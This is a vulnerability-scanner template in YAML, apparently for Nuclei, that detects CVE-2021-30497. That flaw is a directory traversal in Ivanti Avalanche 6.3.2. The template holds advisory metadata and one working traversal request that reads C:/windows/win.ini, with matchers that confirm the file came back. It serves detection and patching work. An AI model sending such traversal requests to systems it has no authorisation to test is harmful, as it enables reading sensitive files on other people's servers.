id: CVE-2021-30497

info:
  name: Ivanti Avalanche 6.3.2 - Local File Inclusion
  author: gy741
  severity: high
  description: Ivanti Avalanche 6.3.2 is vulnerable to local file inclusion because it allows remote unauthenticated user to access files that reside outside the 'image' folder.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Ivanti to fix the LFI vulnerability in Avalanche 6.3.2.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-ivanti-avalanche-directory-traversal/
    - https://forums.ivanti.com/s/article/Security-Alert-CVE-2021-30497-Directory-Traversal-Vulnerability?language=en_US
    - https://help.ivanti.com/wl/help/en_us/aod/5.4/Avalanche/Console/Launching_the_Avalanche.htm
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30497
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-30497
    cwe-id: CWE-22
    epss-score: 0.95082
    epss-percentile: 0.99313
    cpe: cpe:2.3:a:ivanti:avalanche:6.3.2:*:*:*:*:windows:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: avalanche
    framework: windows
  tags: cve2021,cve,avalanche,traversal,lfi,ivanti,windows

http:
  - method: GET
    path:
      - "{{BaseURL}}/AvalancheWeb/image?imageFilePath=C:/windows/win.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "for 16-bit app support"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022000d58ac11ac17f45acca28377cde7275a6504b23abcca73299552e49c9eb833a022100c74bc22f79db209ea6f08a242a608cbe2e1b28ac5eec2151ad1ed92aadf8ca5c:922c64590222798bb761d5b6d8e72950